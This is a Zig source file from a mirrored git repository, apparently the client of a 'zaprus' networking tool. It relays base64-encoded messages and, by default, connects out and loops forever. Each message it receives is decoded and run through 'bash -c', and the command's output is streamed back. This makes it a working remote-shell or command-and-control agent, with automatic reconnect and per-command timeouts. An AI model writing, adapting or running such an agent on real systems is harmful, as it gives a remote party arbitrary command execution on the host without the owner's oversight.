mirror of
https://git.robbyzambito.me/zaprus/
synced 2026-02-04 03:34:48 +00:00
255 lines
9.6 KiB
Zig
255 lines
9.6 KiB
Zig
const is_debug = builtin.mode == .Debug;
|
|
|
|
const help =
|
|
\\-h, --help Display this help and exit.
|
|
\\-r, --relay <str> A relay message to send.
|
|
\\-d, --dest <str> An IPv4 or <= 4 ASCII byte string.
|
|
\\-c, --connect <str> A connection message to send.
|
|
\\
|
|
;
|
|
|
|
const Option = enum { help, relay, dest, connect };
|
|
const to_option: StaticStringMap(Option) = .initComptime(.{
|
|
.{ "-h", .help },
|
|
.{ "--help", .help },
|
|
.{ "-r", .relay },
|
|
.{ "--relay", .relay },
|
|
.{ "-d", .dest },
|
|
.{ "--dest", .dest },
|
|
.{ "-c", .connect },
|
|
.{ "--connect", .connect },
|
|
});
|
|
|
|
pub fn main(init: std.process.Init) !void {
|
|
// CLI parsing adapted from the example here
|
|
// https://codeberg.org/ziglang/zig/pulls/30644
|
|
|
|
const args = try init.minimal.args.toSlice(init.arena.allocator());
|
|
|
|
var flags: struct {
|
|
relay: ?[]const u8 = null,
|
|
dest: ?[]const u8 = null,
|
|
connect: ?[]const u8 = null,
|
|
} = .{};
|
|
|
|
if (args.len == 1) {
|
|
flags.connect = "";
|
|
} else {
|
|
var i: usize = 1;
|
|
while (i < args.len) : (i += 1) {
|
|
if (to_option.get(args[i])) |opt| {
|
|
switch (opt) {
|
|
.help => {
|
|
std.debug.print("{s}", .{help});
|
|
return;
|
|
},
|
|
.relay => {
|
|
i += 1;
|
|
if (i < args.len) {
|
|
flags.relay = args[i];
|
|
} else {
|
|
flags.relay = "";
|
|
}
|
|
},
|
|
.dest => {
|
|
i += 1;
|
|
if (i < args.len) {
|
|
flags.dest = args[i];
|
|
} else {
|
|
std.debug.print("-d/--dest requires a string\n", .{});
|
|
return error.InvalidArguments;
|
|
}
|
|
},
|
|
.connect => {
|
|
i += 1;
|
|
if (i < args.len) {
|
|
flags.connect = args[i];
|
|
} else {
|
|
flags.connect = "";
|
|
}
|
|
},
|
|
}
|
|
} else {
|
|
std.debug.print("Unknown argument: {s}\n", .{args[i]});
|
|
return error.InvalidArguments;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
|
|
std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
|
|
return error.InvalidArguments;
|
|
}
|
|
|
|
var client: SaprusClient = undefined;
|
|
|
|
if (flags.relay != null) {
|
|
client = try .init();
|
|
defer client.deinit();
|
|
var chunk_writer_buf: [2048]u8 = undefined;
|
|
var chunk_writer: Writer = .fixed(&chunk_writer_buf);
|
|
if (flags.relay.?.len > 0) {
|
|
var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
|
|
while (output_iter.next()) |chunk| {
|
|
chunk_writer.end = 0;
|
|
try chunk_writer.print("{b64}", .{chunk});
|
|
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
|
|
try init.io.sleep(.fromMilliseconds(40), .boot);
|
|
}
|
|
} else {
|
|
var stdin_file: std.Io.File = .stdin();
|
|
var stdin_file_reader = stdin_file.reader(init.io, &.{});
|
|
var stdin_reader = &stdin_file_reader.interface;
|
|
var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
|
|
var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
|
|
var stdin = &limited.interface;
|
|
|
|
while (stdin.fillMore()) {
|
|
// Sometimes fillMore will return 0 bytes.
|
|
// Skip these
|
|
if (stdin.seek == stdin.end) continue;
|
|
|
|
chunk_writer.end = 0;
|
|
try chunk_writer.print("{b64}", .{stdin.buffered()});
|
|
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
|
|
try init.io.sleep(.fromMilliseconds(40), .boot);
|
|
try stdin.discardAll(stdin.end);
|
|
} else |err| switch (err) {
|
|
error.EndOfStream => {
|
|
log.debug("end of stdin", .{});
|
|
},
|
|
else => |e| return e,
|
|
}
|
|
}
|
|
return;
|
|
}
|
|
|
|
var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
|
|
var w: Writer = .fixed(&init_con_buf);
|
|
try w.print("{b64}", .{flags.connect.?});
|
|
|
|
if (flags.connect != null) {
|
|
reconnect: while (true) {
|
|
client = try .init();
|
|
defer client.deinit();
|
|
log.debug("Starting connection", .{});
|
|
|
|
try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
|
|
var connection = client.connect(init.io, w.buffered()) catch {
|
|
log.debug("Connection timed out", .{});
|
|
continue;
|
|
};
|
|
|
|
log.debug("Connection started", .{});
|
|
|
|
next_message: while (true) {
|
|
var res_buf: [2048]u8 = undefined;
|
|
try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
|
|
const next = connection.next(init.io, &res_buf) catch {
|
|
continue :reconnect;
|
|
};
|
|
|
|
const b64d = std.base64.standard.Decoder;
|
|
var connection_payload_buf: [2048]u8 = undefined;
|
|
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
|
|
b64d.decode(connection_payload, next) catch {
|
|
log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
|
|
continue;
|
|
};
|
|
|
|
var child = std.process.spawn(init.io, .{
|
|
.argv = &.{ "bash", "-c", connection_payload },
|
|
.stdout = .pipe,
|
|
.stderr = .ignore,
|
|
.stdin = .ignore,
|
|
}) catch continue;
|
|
|
|
var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
|
|
var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);
|
|
|
|
var is_killed: std.atomic.Value(bool) = .init(false);
|
|
|
|
var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed });
|
|
defer _ = kill_task.cancel(init.io) catch {};
|
|
|
|
var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
|
|
var cmd_output: Writer = .fixed(&cmd_output_buf);
|
|
|
|
// Maximum of 10 messages of output per command
|
|
for (0..10) |_| {
|
|
cmd_output.end = 0;
|
|
|
|
child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) {
|
|
error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this
|
|
error.EndOfStream => {
|
|
cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable;
|
|
if (cmd_output.end > 0) {
|
|
connection.send(init.io, cmd_output.buffered()) catch |e| {
|
|
log.debug("Failed to send connection chunk: {t}", .{e});
|
|
continue :next_message;
|
|
};
|
|
}
|
|
break;
|
|
},
|
|
};
|
|
cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
|
|
connection.send(init.io, cmd_output.buffered()) catch |err| {
|
|
log.debug("Failed to send connection chunk: {t}", .{err});
|
|
continue :next_message;
|
|
};
|
|
try init.io.sleep(.fromMilliseconds(40), .boot);
|
|
} else {
|
|
kill_task.cancel(init.io) catch {};
|
|
killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {
|
|
log.debug("Failed to kill process??? {t}", .{err});
|
|
continue :next_message;
|
|
};
|
|
}
|
|
|
|
if (!is_killed.load(.monotonic)) {
|
|
_ = child.wait(init.io) catch |err| {
|
|
log.debug("Failed to wait for child: {t}", .{err});
|
|
};
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
unreachable;
|
|
}
|
|
|
|
fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void {
|
|
io.sleep(duration, .boot) catch |err| switch (err) {
|
|
error.Canceled => return,
|
|
else => |e| return e,
|
|
};
|
|
is_killed.store(true, .monotonic);
|
|
proc.kill(io);
|
|
}
|
|
|
|
fn parseDest(in: ?[]const u8) [4]u8 {
|
|
if (in) |dest| {
|
|
if (dest.len <= 4) {
|
|
var res: [4]u8 = @splat(0);
|
|
@memcpy(res[0..dest.len], dest);
|
|
return res;
|
|
}
|
|
|
|
const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
|
|
return addr.bytes;
|
|
}
|
|
return "disc".*;
|
|
}
|
|
|
|
const builtin = @import("builtin");
|
|
const std = @import("std");
|
|
const log = std.log;
|
|
const ArrayList = std.ArrayList;
|
|
const StaticStringMap = std.StaticStringMap;
|
|
|
|
const zaprus = @import("zaprus");
|
|
const SaprusClient = zaprus.Client;
|
|
const SaprusMessage = zaprus.Message;
|
|
|
|
const Writer = std.Io.Writer;
|